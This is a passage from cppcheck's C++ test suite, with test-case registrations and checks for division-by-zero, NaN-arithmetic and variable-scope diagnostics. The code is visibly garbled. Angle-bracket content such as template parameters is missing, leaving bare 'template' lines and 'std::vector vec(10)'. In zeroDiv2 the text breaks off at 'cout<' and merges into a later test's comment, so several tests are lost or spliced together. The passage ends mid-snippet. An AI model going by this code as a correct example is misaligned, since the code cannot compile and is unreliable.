TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else 